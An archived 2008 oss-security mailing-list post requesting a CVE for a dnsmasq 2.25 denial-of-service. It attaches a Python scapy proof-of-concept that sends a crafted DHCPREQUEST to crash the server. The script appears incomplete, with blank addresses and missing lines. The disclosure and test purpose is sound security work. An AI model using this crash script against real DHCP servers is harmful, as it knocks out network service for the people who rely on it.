Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue, 8 Jul 2008 12:37:25 -0400
From: Jamie Strandboge <>
To: "Steven M. Christey" <>
Subject: Re: CVE request for dnsmasq DoS

On Thu, 03 Jul 2008, Jamie Strandboge wrote:
> On Tue, 01 Jul 2008, Steven M. Christey wrote:
> > On Mon, 30 Jun 2008, Jamie Strandboge wrote:
> > 
> > > There is a remote DoS in dnsmasq 2.25 (and presumably earlier) that is
> > > fixed in 2.26. Details can be found at [1]. Can we get a CVE assigned
> > > for this?
> > 
> > I'm not sure I fully understand Thierry Carrez' comment about the security
> > implications of this issue.  It seems like an exploit would require a
> > malicious DHCP server, in which case isn't DHCP service already
> > compromised?  If so, then a crash of dnsmasq (null dereference?) doesn't
> > seem to be any worse than the loss of DHCP itself.
> > 
> I haven't had time to develop a PoC, but from the dnsmasq 2.26 announce
> page at [1], a client need only send a crafted renewal request to crash
> the server. Thierry's comments were only for trying to reproduce the
> problem and test the patch.

I finally had time to develop a PoC and confirm this on my own. A client
need only send a DHCPREQUEST for an IP address not on the same network
as dnsmasq. Eg:

1. dnsmasq listening on and giving IP addresses for
2. client requests IP address on another network, such as
3. dnsmasq 2.25 (and presumably earlier) crashes

This can happen in normal operation with roaming users, but can also
happen with a malicious request. Attached is a script to easily test for
this (requires python scapy).


Ubuntu Security Engineer     |
Canonical Ltd.               |

#!/usr/bin/env python
#    Copyright (C) 2008 Canonical Ltd.
#    Author: Jamie Strandboge <>
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License version 2,
#    as published by the Free Software Foundation.
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    GNU General Public License for more details.
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <>.

from scapy import *

iface = "eth0"
timeout = 10

def usage():
    print "Usage: <ip>"

if len(sys.argv) != 2:

request_ip = sys.argv[1]

ans = dhcp_request(iface, timeout=timeout)

if not ans:
    print "\nNo server response for DHCPREQUEST after %d seconds" % (timeout)

server_ip = ans.sprintf(r"%BOOTP.siaddr%")
server_hw = ans.sprintf(r"%Ether.src%")
offer_ip = ans.sprintf(r"%BOOTP.yiaddr%")

print "\nserver_ip:  %s\nserver_hw:  %s\noffer_ip:   %s" % (server_ip, server_hw, offer_ip)
print "request_ip: %s\n" % (request_ip)

fam,hw = get_if_raw_hwaddr(iface)
ans2 = srp1(Ether(dst="ff:ff:ff:ff:ff:ff",src=hw)/IP(src="",dst="")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","request"),("requested_addr", request_ip),("server_id", server_ip),"end"]),iface=iface, timeout=timeout)

if not ans2:
    print "\nNo server response for DHCPREQUEST after %d seconds" % (timeout)

for opt in ans2.payload.payload.payload.payload.options:
    if opt[0] == 'message-type':
        print "\nResponse: %s" % (DHCPTypes[opt[1]])

[ CONTENT OF TYPE application/pgp-signature SKIPPED ]

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ